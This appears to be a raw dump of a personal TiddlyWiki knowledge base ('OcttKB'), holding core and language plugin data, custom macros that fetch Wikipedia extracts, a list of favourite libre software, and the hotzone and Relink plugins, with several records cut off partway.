<p>If you're reading this, then your browser isn't executing JavaScript code (properly, or at all).</p><p>If you disabled JS on purpose, you may want to read the <strong>no-JS KB</strong>: <aclass="tc-tiddlylink-external"href="./Static.html"rel="noopener noreferrer"target="_blank">./Static.html</a>;</p><p>If you, instead, don't know why you're seeing this:</p><ul><li><aclass="tc-tiddlylink-external"href="http://web.archive.org/web/20220920042154/https://www.enable-javascript.com"rel="noopener noreferrer"target="_blank">Enable JavaScript</a>, if you have it disabled;</li><li>Update your browser, if it's years out-of-date.</li></ul>
{"created":"20230110211056385","title":"$:/Config/OcttKB/Tweaks/Starlight/.tc-story-river Padding","text":"20px 20px 20px 20px","modified":"20230110230321263"},
{"title":"$:/core","name":"Core","description":"TiddlyWiki5 core","author":"JeremyRuston","core-version":">=5.0.0","plugin-priority":"0","list":"readme","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/Acknowledgements\":{\"title\":\"$:/Acknowledgements\",\"text\":\"TiddlyWiki incorporates code from these fine OpenSource projects:\\n\\n* [[The Stanford Javascript Crypto Library|http://bitwiseshiftleft.github.io/sjcl/]]\\n* [[The Jasmine JavaScript Test Framework|http://pivotal.github.io/jasmine/]]\\n* [[Normalize.css by Nicolas Gallagher|http://necolas.github.io/normalize.css/]]\\n\\nAnd media from these projects:\\n\\n* World flag icons from [[Wikipedia|http://commons.wikimedia.org/wiki/Category:SVG_flags_by_country]]\\n\"},\"$:/core/copyright.txt\":{\"title\":\"$:/core/copyright.txt\",\"type\":\"text/plain\",\"text\":\"TiddlyWiki created by Jeremy Ruston, (jeremy [at] jermolene [dot] com)\\n\\nCopyright (c) 2004-2007, Jeremy Ruston\\nCopyright (c) 2007-2022, UnaMesa Association\\nAll rights reserved.\\n\\nRedistribution and use in source and binary forms, with or without\\nmodification, are permitted provided that the following conditions are met:\\n\\n* Redistributions of source code must retain the above copyright notice, this\\n list of conditions and the following disclaimer.\\n\\n* Redistributions in binary form must reproduce the above copyright notice,\\n this list of conditions and the following disclaimer in the documentation\\n and/or other materials provided with the distribution.\\n\\n* Neither the name of the copyright holder nor the names of its\\n contributors may be used to endorse or promote products derived from\\n this software without specific prior written permission.\\n\\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 'AS IS'\\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\"},\"$:/core/icon\":{\"title\":\"$:/core/icon\",\"tags\":\"$:/tags/Image\",\"text\":\"\u003Csvg width=\\\"22pt\\\" height=\\\"22pt\\\" viewBox=\\\"0 0 128 128\\\">\u003Cpath d=\\\"M64 0l54.56 32v64L64 128 9.44 96V32L64 0zm21.127 95.408c-3.578-.103-5.15-.094-6.974-3.152l-1.42.042c-1.653-.075-.964-.04-2.067-.097-1.844-.07-1.548-1.86-1.873-2.8-.52-3.202.687-6.43.65-9.632-.014-1.14-1.593-5.17-2.157-6.61-1.768.34-3.546.406-5.34.497-4.134-.01-8.24-.527-12.317-1.183-.8 3.35-3.16 8.036-1.21 11.44 2.37 3.52 4.03 4.495 6.61 4.707 2.572.212 3.16 3.18 2.53 4.242-.55.73-1.52.864-2.346 1.04l-1.65.08c-1.296-.046-2.455-.404-3.61-.955-1.93-1.097-3.925-3.383-5.406-5.024.345.658.55 1.938.24 2.53-.878 1.27-4.665 1.26-6.4.47-1.97-.89-6.73-7.162-7.468-11.86 1.96-3.78 4.812-7.07 6.255-11.186-3.146-2.05-4.83-5.384-4.61-9.16l.08-.44c-3.097.59-1.49.37-4.82.628-10.608-.032-19.935-7.37-14.68-18.774.34-.673.664-1.287 1.243-.994.466.237.4 1.18.166 2.227-3.005 13.627 11.67 13.732 20.69 11.21.89-.25 2.67-1.936 3.905-2.495 2.016-.91 4.205-1.282 6.376-1.55 5.4-.63 11.893 2.276 15.19 2.37 3.3.096 7.99-.805 10.87-.615 2.09.098 4.143.483 6.16 1.03 1.306-6.49 1.4-11.27 4.492-12.38 1.814.293 3.213 2.818 4.25 4.167 2.112-.086 4.12.46 6.115 1.066 3.61-.522 6.642-2.593 9.833-4.203-3.234 2.69-3.673 7.075-3.303 11.127.138 2.103-.444 4.386-1.164 6.54-1.348 3.507-3.95 7.204-6.97 7.014-1.14-.036-1.805-.695-2.653-1.4-.164 1.427-.81 2.7-1.434 3.96-1.44 2.797-5.203 4.03-8.687 7.016-3.484 2.985 1.114 13.65 2.23 15.594 1.114 1.94 4.226 2.652 3.02 4.406-.3
{"created":"20220920140954764","text":"\u003C!-- For search engines, and people without JavaScript --->\n \nIf you're reading this, then your browser isn't executing JavaScript code (properly, or at all).\n\nIf you disabled JS on purpose, you may want to read the ''no-JS KB'': [ext[./Static.html]];\n\nIf you, instead, don't know why you're seeing this:\n\n* [[Enable JavaScript|http://web.archive.org/web/20220920042154/https://www.enable-javascript.com]], if you have it disabled;\n* Update your browser, if it's years out-of-date.\n\n\u003C!--\n\u003Cbr>\u003Chr>\u003Cbr>\n\n//The following is a preview of the Welcome Page.//\n\n{{~Welcome~}}\n--->\n\n\u003C!-- Old template\nThis [[TiddlyWiki|https://tiddlywiki.com]] contains the following tiddlers:\n\n\u003Cul>\n\u003C$list filter=\u003C\u003CsaveTiddlerFilter>>>\n\u003Cli>\u003C$view field=\"title\" format=\"text\">\u003C/$view>\u003C/li>\n\u003C/$list>\n\u003C/ul>\n--->","title":"$:/core/templates/static.content","modified":"20220924193531494"},
{"title":"$:/Import","text":"The following tiddlers were imported:\n\n# [[$:/ThirdParty/tobibeer/ibox/Lightbox]]\n# [[$:/ThirdParty/tobibeer/ibox]]","status":"complete"},
{"title":"$:/languages/it-IT","name":"it-IT","plugin-type":"language","description":"Italian (Italy)","author":"MaurizioPollio","core-version":">=5.0.8","version":"5.2.3","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/language/Buttons/AdvancedSearch/Caption\":{\"title\":\"$:/language/Buttons/AdvancedSearch/Caption\",\"text\":\"Ricerca avanzata\"},\"$:/language/Buttons/AdvancedSearch/Hint\":{\"title\":\"$:/language/Buttons/AdvancedSearch/Hint\",\"text\":\"Ricerca avanzata\"},\"$:/language/Buttons/Cancel/Caption\":{\"title\":\"$:/language/Buttons/Cancel/Caption\",\"text\":\"Annulla\"},\"$:/language/Buttons/Cancel/Hint\":{\"title\":\"$:/language/Buttons/Cancel/Hint\",\"text\":\"Annulla i cambiamenti a questo frammento\"},\"$:/language/Buttons/Clone/Caption\":{\"title\":\"$:/language/Buttons/Clone/Caption\",\"text\":\"Clona\"},\"$:/language/Buttons/Clone/Hint\":{\"title\":\"$:/language/Buttons/Clone/Hint\",\"text\":\"Clona questo frammento\"},\"$:/language/Buttons/Close/Caption\":{\"title\":\"$:/language/Buttons/Close/Caption\",\"text\":\"Chiudi\"},\"$:/language/Buttons/Close/Hint\":{\"title\":\"$:/language/Buttons/Close/Hint\",\"text\":\"Chiudi questo frammento\"},\"$:/language/Buttons/CloseAll/Caption\":{\"title\":\"$:/language/Buttons/CloseAll/Caption\",\"text\":\"Chiudi tutti\"},\"$:/language/Buttons/CloseAll/Hint\":{\"title\":\"$:/language/Buttons/CloseAll/Hint\",\"text\":\"Chiudi tutti i frammenti\"},\"$:/language/Buttons/CloseOthers/Caption\":{\"title\":\"$:/language/Buttons/CloseOthers/Caption\",\"text\":\"Chiudi altri\"},\"$:/language/Buttons/CloseOthers/Hint\":{\"title\":\"$:/language/Buttons/CloseOthers/Hint\",\"text\":\"Chiudi gli altri frammenti\"},\"$:/language/Buttons/ControlPanel/Caption\":{\"title\":\"$:/language/Buttons/ControlPanel/Caption\",\"text\":\"Pannello di controllo\"},\"$:/language/Buttons/ControlPanel/Hint\":{\"title\":\"$:/language/Buttons/ControlPanel/Hint\",\"text\":\"Apri il pannello di controllo\"},\"$:/language/Buttons/Delete/Caption\":{\"title\":\"$:/language/Buttons/Delete/Caption\",\"text\":\"Elimina\"},\"$:/language/Buttons/Delete/Hint\":{\"title\":\"$:/language/Buttons/Delete/Hint\",\"text\":\"Elimina questo frammento\"},\"$:/language/Buttons/Edit/Caption\":{\"title\":\"$:/language/Buttons/Edit/Caption\",\"text\":\"Modifica\"},\"$:/language/Buttons/Edit/Hint\":{\"title\":\"$:/language/Buttons/Edit/Hint\",\"text\":\"Modifica questo frammento\"},\"$:/language/Buttons/Encryption/Caption\":{\"title\":\"$:/language/Buttons/Encryption/Caption\",\"text\":\"Cifratura\"},\"$:/language/Buttons/Encryption/ClearPassword/Caption\":{\"title\":\"$:/language/Buttons/Encryption/ClearPassword/Caption\",\"text\":\"Rimuovi password\"},\"$:/language/Buttons/Encryption/ClearPassword/Hint\":{\"title\":\"$:/language/Buttons/Encryption/ClearPassword/Hint\",\"text\":\"Rimuovi la password e salva questo wiki senza cifrarlo\"},\"$:/language/Buttons/Encryption/Hint\":{\"title\":\"$:/language/Buttons/Encryption/Hint\",\"text\":\"Imposta o rimuovi la password per salvare questo wiki\"},\"$:/language/Buttons/Encryption/SetPassword/Caption\":{\"title\":\"$:/language/Buttons/Encryption/SetPassword/Caption\",\"text\":\"Imposta password\"},\"$:/language/Buttons/Encryption/SetPassword/Hint\":{\"title\":\"$:/language/Buttons/Encryption/SetPassword/Hint\",\"text\":\"Imposta una password per salvare questo wiki con cifratura\"},\"$:/language/Buttons/ExportPage/Caption\":{\"title\":\"$:/language/Buttons/ExportPage/Caption\",\"text\":\"Esporta tutti\"},\"$:/language/Buttons/ExportPage/Hint\":{\"title\":\"$:/language/Buttons/ExportPage/Hint\",\"text\":\"Esporta tutti i frammenti\"},\"$:/language/Buttons/ExportTiddler/Caption\":{\"title\":\"$:/language/Buttons/ExportTiddler/Caption\",\"text\":\"Esporta frammento\"},\"$:/language/Buttons/ExportTiddler/Hint\":{\"title\":\"$:/language/Buttons/ExportTiddler/Hint\",\"text\":\"Esporta questo frammento\"},\"$:/language/Buttons/ExportTiddlers/Caption\":{\"title\":\"$:/language/Buttons/ExportTiddlers/Caption\",\"text\":\"Esporta i frammenti\"},\"$:/language/Button
{"created":"20221109224522256","text":"/*\\\nReturn the content of a tiddler encoded as [[Base64]] and encapsulated in a data URI.\n\u003C\u003Cb64TidUriEnc \"Tiddler Name\">>\n\\*/\n\n(function(){\n\"use strict\";\nexports.name = \"b64TidUriEnc\";\nexports.params = [\n\t{name: \"Name\"}\n];\n\nexports.run = function(Name) {\n\ttry {\n\t\tlet Tid = $tw.wiki.getTiddler(Name);\n\t\tlet Type = Tid.fields.type || \"text/vnd.tiddlywiki\";\n\t\tlet Data = $tw.utils.base64Encode(Tid.fields.text);\n\t\treturn \"data:\" + Type + \";base64,\" + Data;\n\t} catch(e) {\n\t\treturn e;\n\t};\n};\n})();","tags":"","title":"$:/Macros/b64TidUriEnc.js","modified":"20221110153303563","type":"application/javascript","module-type":"macro"},
{"created":"20230125222831006","creator":"Octt","text":"/*\\\nHide i18n namespace labels dynamically from the Breadcrumbs line\n(by wrapping them in CSS-selectable elements)\n\\*/\n(function(){\n\"use strict\";\nexports.name = \"i18nBreadcrumbsNamespaceLabelStrip\";\nexports.params = [];\n\nexports.run = function() {\ntry {\n var Languages = $tw.wiki.getTiddler('$:/i18n').fields.Languages.toLowerCase().split(' ');\n var Path = this.getVariable('currentTiddler');\n var Select = `.tc-story-river > div[data-tiddler-title=\"${Path}\"] > .View-Breadcrumbs > .Path-Elem`;\n var List = document.querySelectorAll(Select + ':last-of-type');\n for (var i=0; i \u003C List.length; i++) {\n // At end of tiddler path (e.g: Tests/Misc/Test:en)\n var Name = List[i].innerHTML.trim();\n var Code = Name.toLowerCase().split(':').slice(-1)[0];\n if (Languages.includes(Code)) {\n List[i].innerHTML = `${Name.split(':').slice(0, -1)}\u003Cspan class=\"Inline-Hidden\">:${Code}\u003C/span>`;\n } else {\n // At start of tiddler path (e.g: Testing:en/Misc/Test); handle $:/ prefix if present\n var Index = Path.startsWith('$:/') ? 2 : 1;\n var Code = Path.toLowerCase().split(':')[Index];\n if (Code) {\n Code = Code.split('/')[0];\n if (Languages.includes(Code)) {\n var List = document.querySelectorAll(`${Select}:nth-child(${Index})`);\n for (var i=0; i \u003C List.length; i++) {\n // TODO // List[i].innerHTML = `\u003Cspan class=\"Inline-Hidden\">:${Code}\u003C/span>/${Path.split(':')[Index].split('/').slice(1).join('/')}`;\n };\n };\n };\n };\n };\n} catch(e) {\n $OcttKB.ErrAtLine(e);\n};\n}})();","tags":"","title":"$:/Macros/Breadcrumbs/i18nNamespaceLabelStrip.js","modified":"20230202185802952","modifier":"Octt","module-type":"macro","type":"application/javascript"},
{"created":"20230108190340455","creator":"Octt","text":"/*\\\nSee [[$:/Macros/MediaWiki]] for usage of this macro.\nNote: source must always be credited, and thus it's not ideal to use this macro directly. Please use the \u003C\u003CMediaWiki>> wrapper macro instead, as it provides a link to the source automatically. (This feature is implemented in its own non-JS macro to make at least the URL show on static wiki exports.)\n\\*/\n\n(function(){\n\"use strict\";\nexports.name = \"MediaWikiEmbedInternal\";\nexports.params = [\n {name: \"Article\"},\n {name: \"Domain\"},\n {name: \"Sections\"},\n];\n\nexports.run = function(Article, Domain, Sections) {\ntry {\n let Text;\n Sections = parseInt(Sections) || 0;\n Domain = $OcttKB.MediaWiki.MkDomain(Domain);\n const Req = new XMLHttpRequest();\n Req.open('GET', Domain + '/w/api.php?action=query&formatversion=2&prop=extracts&format=json&origin=*&titles=' + Article, false);\n Req.send();\n Text = JSON.parse(Req.responseText).query.pages[0].extract;\n if (!Text) {\n Text = '\u003Cp>An error occurred while trying to extract the content. Close and reopen this \u003Ci>tiddler\u003C/i> to retry, or click the link to open the source in a new tab.\u003C/p>'\n };\n Text = Text.replaceAllTxt('\\n', '').replaceAllTxt('\u003Cp class=\"mw-empty-elt\">\u003C/p>', '');\n if (Sections != 0) {\n for (let i=1; i\u003C=6; i++) {\n Text = Text.replaceAllTxt(`\u003C/p>\u003Ch${i}>`, `\u003C/p>\u003C!--:PARAGRAPH:--->\\n\u003Ch${i}>`);\n };\n Text = Text.replaceAllTxt(`\u003C/p>\u003Cp>`, `\u003C/p>\u003C!--:PARAGRAPH:--->\u003Cp>`);\n //Text = Text.split('\u003C!--:PARAGRAPH:--->').slice(0, Max+1).join('');\n //Text = Text.split('\u003Cp>').slice(0, Max+1).join('\u003Cp>');\n if (Sections \u003C 0) {\n Sections = 0;\n };\n Text = Text.split('\u003C!--:PARAGRAPH:--->').slice(0, Sections).join('');\n //Text += '\u003Cp>[...]\u003C/p>'\n };\n/*\n Sections = Sections.split(' ');\n for (let i=0; i\u003CSections.length; i++) {\n const Sec = Sections[i];\n if (Sec) {\n const Ind = Sec.toLowerCase()[0];\n const Val = Sec.substring(1);\n if (Ind == 'p' || Ind == 's') {\n if (Ind == 'p') {\n const Sep = '\u003C!--:PARAGRAPH:--->';\n } else \n if (Ind == 's') {\n const Sep = '\u003C!--:SECTION:--->';\n };\n Text = Text.split(Sep).slice(0, Val).join('');\n } else\n if (Ind == '#') {\n \n };\n };\n };\n*/\n return Text;\n} catch(e) {\n return $OcttKB.ErrAtLine(e);\n};\n}})();","tags":"","title":"$:/Macros/MediaWiki/EmbedInternal.js","modified":"20230124213837502","type":"application/javascript","module-type":"macro","modifier":"Octt"},
{"created":"20230112154435120","creator":"Octt","text":"/*\\\nGet the cover image from a MediaWiki article.\n[\u003C\u003C]MediaWikiGetCover \"Article\" \"Full Domain OR Wikipedia Subdomain\" \"Manual URL OR NULL\"[>>]\n\\*/\n\n(function(){\n\"use strict\";\nexports.name = \"MediaWikiGetCover\";\nexports.params = [\n {name: \"Article\"},\n {name: \"Domain\"},\n {name: \"URL\"},\n];\n\nexports.run = function(Article, Domain, URL) {\ntry {\n if (!URL || URL && !$OcttKB.Options.Nulls.includes(URL.toLowerCase())) {\n let File;\n Domain = $OcttKB.MediaWiki.MkDomain(Domain);\n const Req = new XMLHttpRequest();\n Req.open('GET', Domain + '/w/api.php?action=query&prop=pageimages&format=json&piprop=original&origin=*&titles=' + Article, false);\n Req.send();\n File = Object.values(JSON.parse(Req.responseText).query.pages)[0];\n if (File && File.original && File.original.source) {\n return `\u003Cimg src=\"${File.original.source}\">`;\n };\n };\n return '';\n} catch(e) {\n return $OcttKB.ErrAtLine(e);\n};\n}})();","tags":"","title":"$:/Macros/MediaWiki/GetCover.js","modified":"20230124213845342","type":"application/javascript","module-type":"macro","modifier":"Octt"},
{"created":"20230117110233701","text":"### My personal links!\n\n- [Mastodon](https://mastodon.uno/@octo) - Microblog, 98% italian \n- [Pixelfed](https://pixelfed.uno/@octo) - Where I post my pictures \n- [[🇮🇹️] Noblogo](https://noblogo.org/loli-documentatrice) - Old blog (italian) \n- Spacc Inc - [Website](https://spacc.xyz), [Telegram (photos of broken stuff)](https://t.me/s/SpaccInc) \n- SpaccCraft, my Minecraft server (italian): [Website](https://spacccraft.altervista.org), [Telegram](https://t.me/s/SpaccCraft), [Misskey](https://misskey.social/@SpaccCraft) \n\n\n### Scripts and Configs\n- [Andronix Scripts](https://github.com/AndronixApp/AndronixOrigin) - Scripts to install containerized Linux distros on Android in Termux \n\n\n### Awesome Big Libre Games!\n- [Techmino](https://github.com/26F-Studio/Techmino) - Flashy libre Tetris :) \n- [Sonic Robo Blast 2](https://www.srb2.org) - Sonic pseudo-3D platformer \n- [Sonic Robo Blast 2 Kart](https://wiki.srb2.org/wiki/SRB2Kart) - Sonic pseudo-3D kart racing \n- [Minetest](https://www.minetest.net) - Minining, crafting, and exploring game \n- [SuperTux](https://www.supertux.org) - Classic platformer but with the Linux penguin \n- [Extreme Tux Racer](https://sourceforge.net/projects/extremetuxracer) - Snow racing game, with the Linux penguin \n- [SuperTuxKart](https://supertuxkart.net) - Kart racing with many libre mascots \n- [Xonotic](https://xonotic.org) - Super fast arena FPS \n- [osu! lazer](https://github.com/ppy/osu) - Flashy multi-mode rhythm game \n\n\n### Awesome Arcade Libre Games!\n- [krassesSpiel](https://f-droid.org/packages/com.autismprime.krassesSpiel) - Shooting at boxes and avoiding enemy projectiles \n- [Antimine](https://f-droid.org/packages/dev.lucanlm.antimine) - Classic Minesweeper with a modern look \n- [SpaceCadetPinball](https://github.com/k4zmu2a/SpaceCadetPinball) - The classic 3D Pinball \n- [HexGL](https://hexgl.bkcore.com) - F-Zero inspired, fast racing game \n- [TuxPuck](https://packages.debian.org/search?keywords=tuxpuck) - Penguin air hockey game \n\n\n### Awesome Libre Demos!\n- [bb](http://aa-project.sourceforge.net/bb) - AA-lib text animation demo \n\n\n### Awesome Libre Cross-Platform Tools!\n- [Rclone](https://rclone.org) - CLI tool for managing cloud storage in flexible ways \n- [Cryptomator](https://cryptomator.org) - Data encryption tool with cloud storage in mind \n- [7-Zip](https://www.7-zip.org) - Useful file archiver supporting the efficient 7z format \n- [GNU nano](https://www.nano-editor.org), [ne](https://ne.di.unimi.it) - CLI text editors \n- [htop](https://htop.dev), [bottom](https://github.com/ClementTsang/bottom), [btop](https://github.com/aristocratos/btop) - CLI system monitors \n- [bat](https://github.com/sharkdp/bat) - Advanced cat clone \n- [RustDesk](https://github.com/rustdesk/rustdesk) - Promising remote desktop software \n- [Deskreen](https://github.com/pavlobu/deskreen) - Turns a secondary PC into a secondary screen for a primary PC \n- [Tor](https://www.torproject.org) - Anonymity and security online \n\n\n### Awesome Libre Desktop Tools!\n- [CoolRetroTerm](https://github.com/Swordfish90/cool-retro-term) - Terminal emulator that emulates a CRT monitor \n- [OBS Studio](https://obsproject.com) - Advanced video recording/streaming tool \n- [Olive](https://olivevideoeditor.org) - Nice and simple video editor \n- [Kdenlive](https://kdenlive.org) - Video editor from KDE \n- Shotcut - [Website](https://shotcut.org), [Source](https://github.com/mltframework/shotcut) - Video editor that might be my current favourite \n- [Mint Webapp Manager](https://github.com/linuxmint/webapp-manager) - Using webapps as desktop apps \n\n\n### Awesome Desktop Linux Themes!\n- [Chicago95](https://github.com/grassmunk/Chicago95) - Windows 95 theme for XFCE \n- [Papirus](https://github.com/PapirusDevelopmentTeam/papirus-icon-theme) - Material icon theme \n\n\n### Awesome Libre Dev Stuff!\n- [TIC-80](https://tic80.com) - Fantasy retro computer \n\n\n### Awesome Web Frameworks!\n- [98.css](ht
{"created":"20230112221909714","modified":"20230206113209737","title":"$:/OcttKB/StaticBanner","text":"\u003Cdiv style=\"Padding-Left:16px; Padding-Right:16px;\">\n\u003Ch1 class=\"tc-site-title\">\n\u003Ca class=\"tc-tiddlylink tc-tiddlylink-missing\" >OcttKB\u003C/a>\n\u003C/h1>\n\u003Cdiv class=\"tc-site-subtitle\">\nOctt Knowledge Base || Powered by [[TiddlyWiki|TiddlyWiki]].\u003C/div>\n\u003Cp>\n\u003Cb>Note\u003C/b>: You're viewing the no-JS version of this site, some features will be missing. For the best experience, \u003Ca href=\"./\">load the full version\u003C/a>.\n\u003C/p>\n\u003C/div>","tags":"","modifier":"Octt"},
{"created":"20221109143855804","text":"The plugin library for the latest and greatest plugins from [ext[tobibeer/plugins|https://tobibeer.github.io/tw5-plugins]]; officially released versions of plugins by [ext[tobibeer|https://github.com/tobibeer]].","bag":"default","revision":"0","url":"https://tobibeer.github.io/tw5-plugins/library/index.html","title":"$:/pluginlibrary/tobibeer/official","tags":"$:/tags/PluginLibrary","modifier":"Tobias Beer","modified":"20221109143900702","caption":"Official Plugin Library by Tobias Beer"},
{"type":"application/json","text":"{\n \"tiddlers\": {\n \"$:/plugins/felixhayashi/hotzone/config.js\": {\n \"title\": \"$:/plugins/felixhayashi/hotzone/config.js\",\n \"text\": \"/*\\\\\\n\\ntitle: $:/plugins/felixhayashi/hotzone/config.js\\ntype: application/javascript\\nmodule-type: library\\n\\n@preserve\\n\\n\\\\*/\\n(function(){\\\"use strict\\\";exports.config={classNames:{storyRiver:\\\"tc-story-river\\\",tiddlerFrame:\\\"tc-tiddler-frame\\\",tiddlerTitle:\\\"tc-title\\\"},references:{userConfig:\\\"$:/config/hotzone/focusOffset\\\",focussedTiddlerStore:\\\"$:/temp/focussedTiddler\\\"},checkbackTime:$tw.utils.getAnimationDuration()}})();\",\n \"type\": \"application/javascript\",\n \"module-type\": \"library\"\n },\n \"$:/plugins/felixhayashi/hotzone/hotzone.js\": {\n \"title\": \"$:/plugins/felixhayashi/hotzone/hotzone.js\",\n \"text\": \"/*\\\\\\n\\ntitle: $:/plugins/felixhayashi/hotzone/hotzone.js\\ntype: application/javascript\\nmodule-type: startup\\n\\n@preserve\\n\\n\\\\*/\\n(function(){\\\"use strict\\\";exports.name=\\\"hotzone\\\";exports.platforms=[\\\"browser\\\"];exports.after=[\\\"story\\\"];exports.synchronous=true;exports.startup=function(){var t=require(\\\"$:/plugins/felixhayashi/hotzone/config.js\\\").config;var e=null;var i=document.getElementsByClassName(t.classNames.storyRiver)[0];var r=$tw.wiki.getTiddlerData(t.references.userConfig,{});var s=isNaN(parseInt(r.focusOffset))?150:parseInt(r.focusOffset);var a=function(e,i,r){if(!(e instanceof Element))return;if(!$tw.utils.hasClass(e,t.classNames.tiddlerFrame))return;var s=e.getElementsByClassName(t.classNames.tiddlerTitle)[0];if(s){var a=s.innerText||s.textContent;return a.trim()}};var n=function(e,i){$tw.wiki.addTiddler(new $tw.Tiddler({title:t.references.focussedTiddlerStore,text:e},$tw.wiki.getModificationFields()));if(i){var r=document.getElementsByClassName(\\\"hzone-focus\\\")[0];if(r){$tw.utils.removeClass(r,\\\"hzone-focus\\\")}$tw.utils.addClass(i,\\\"hzone-focus\\\")}};var l=function(){var r=$tw.wiki.getTiddler(\\\"$:/StoryList\\\");if(r&&r.fields.list.length){var l=null;var o=Number.MAX_VALUE;var f=i.children;var u=t.classNames.tiddlerFrame;for(var d=f.length;d--;){if($tw.utils.hasClass(f[d],u)){var c=f[d].getBoundingClientRect();var v=Math.min(Math.abs(s-c.top),Math.abs(s-c.bottom));if(v\u003Co){l=f[d];o=v}}}var w=a(l);if(w!==e&&$tw.wiki.getTiddler(w)){e=w;n(e,l);return}}else if(e){e=\\\"\\\";n(e)}};var o=function(t){var e;var i=false;return function(r,s){var a=this;if(i&&!s){}else{i=s;if(e!=null){clearTimeout(e)}e=setTimeout((function(){e=null;i=false;t.apply(a)}),r)}}};var f=o(l);var u=function(t){if(t[\\\"$:/HistoryList\\\"]){if(!$tw.wiki.tiddlerExists(\\\"$:/HistoryList\\\"))return;var e=$tw.wiki.getTiddler(\\\"$:/HistoryList\\\").fields[\\\"current-tiddler\\\"];var i=$tw.wiki.getTiddlerList(\\\"$:/StoryList\\\");var r=i.indexOf(e)>=0;if(!r)return;f($tw.utils.getAnimationDuration()+10,true)}else if(t[\\\"$:/StoryList\\\"]){f($tw.utils.getAnimationDuration()+10,true)}};var d=function(t){f(300,false)};$tw.wiki.addEventListener(\\\"change\\\",u);window.addEventListener(\\\"scroll\\\",d,false);d()}})();\",\n \"type\": \"application/javascript\",\n \"module-type\": \"startup\"\n },\n \"$:/plugins/felixhayashi/hotzone/Configuration\": {\n \"title\": \"$:/plugins/felixhayashi/hotzone/Configuration\",\n \"text\": \"Please see the [[GitHub page|https://github.com/felixhayashi/TW5-HotZone]] for more information on the options.\\n\\nSave and reload the wiki to activate changes.\\n\\n\u003Ctable>\\n \u003Ctr>\\n \u003Cth align=\\\"left\\\">Focus offset:\u003C/th>\\n \u003Ctd>\u003C$edit-text tiddler=\\\"$:/config/hotzone/focusOffset\\\" tag=\\\"input\\\" default=\\\"71px\\\" />\u003C/td>\\n \u003C/tr>\\n\u003C/table>\"\n },\n \"$:/temp/focussedTiddler\": {\n \"title\": \"$:/temp/focussedTiddler\"\n },\n \"$:/plugins/felixhayashi/hotzone/License\":
{"name":"Relink","title":"$:/plugins/flibbles/relink","description":"Flexibility when relinking renamed tiddlers","author":"Flibbles","version":"2.3.1","core-version":">=5.1.22","source":"https://github.com/flibbles/tw5-relink","demo":"http://flibbles.github.io/tw5-relink/","list":"readme configuration license","dependents":"","plugin-type":"plugin","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/flibbles/relink/js/bulkops.js\":{\"text\":\"/*\\\\\\nmodule-type: startup\\n\\nReplaces the relinkTiddler defined in $:/core/modules/wiki-bulkops.js\\n\\nThis is a startup instead of a wikimethods module-type because it's the only\\nway to ensure this runs after the old relinkTiddler method is applied.\\n\\n\\\\*/\\n(function(){\\n\\n/*jslint node: false, browser: true */\\n/*global $tw: false */\\n\\\"use strict\\\";\\n\\nvar language = require('$:/plugins/flibbles/relink/js/language.js');\\nvar utils = require(\\\"$:/plugins/flibbles/relink/js/utils.js\\\");\\n\\nexports.name = \\\"redefine-relinkTiddler\\\";\\nexports.synchronous = true;\\n// load-modules is when wikimethods are applied in\\n// ``$:/core/modules/startup/load-modules.js``\\nexports.after = ['load-modules'];\\n// We come before commands because they may do renaming, or jasmine testing\\nexports.before = ['commands'];\\n\\nexports.startup = function() {\\n\\t$tw.Wiki.prototype.relinkTiddler = relinkTiddler;\\n};\\n\\n/** Walks through all relinkable tiddlers and relinks them.\\n * This replaces the existing function in core Tiddlywiki.\\n */\\nfunction relinkTiddler(fromTitle, toTitle, options) {\\n\\toptions = options || {};\\n\\tvar failures = [];\\n\\tvar indexer = utils.getIndexer(this);\\n\\tvar records = indexer.relinkLookup(fromTitle, toTitle, options);\\n\\tfor (var title in records) {\\n\\t\\tvar entries = records[title],\\n\\t\\t\\tchanges = Object.create(null),\\n\\t\\t\\tupdate = false,\\n\\t\\t\\tfails = false;\\n\\t\\tfor (var field in entries) {\\n\\t\\t\\tvar entry = entries[field];\\n\\t\\t\\tfails = fails || entry.impossible;\\n\\t\\t\\tif (entry.output !== undefined) {\\n\\t\\t\\t\\tchanges[field] = entry.output;\\n\\t\\t\\t\\tupdate = true;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif (fails) {\\n\\t\\t\\tfailures.push(title);\\n\\t\\t}\\n\\t\\t// If any fields changed, update tiddler\\n\\t\\tif (update) {\\n\\t\\t\\tconsole.log(\\\"Renaming '\\\"+fromTitle+\\\"' to '\\\"+toTitle+\\\"' in '\\\" + title + \\\"'\\\");\\n\\n\\t\\t\\tvar tiddler = this.getTiddler(title);\\n\\t\\t\\tvar modifyField = utils.touchModifyField(this) ? this.getModificationFields() : undefined;\\n\\t\\t\\tvar newTiddler = new $tw.Tiddler(tiddler,changes,modifyField)\\n\\t\\t\\tnewTiddler = $tw.hooks.invokeHook(\\\"th-relinking-tiddler\\\",newTiddler,tiddler);\\n\\t\\t\\tthis.addTiddler(newTiddler);\\n\\t\\t\\t// If the title changed, we need to perform a nested rename\\n\\t\\t\\tif (newTiddler.fields.title !== title) {\\n\\t\\t\\t\\tthis.deleteTiddler(title);\\n\\t\\t\\t\\tthis.relinkTiddler(title, newTiddler.fields.title,options);\\n\\t\\t\\t}\\n\\t\\t}\\n\\t};\\n\\tif (failures.length > 0) {\\n\\t\\tvar options = 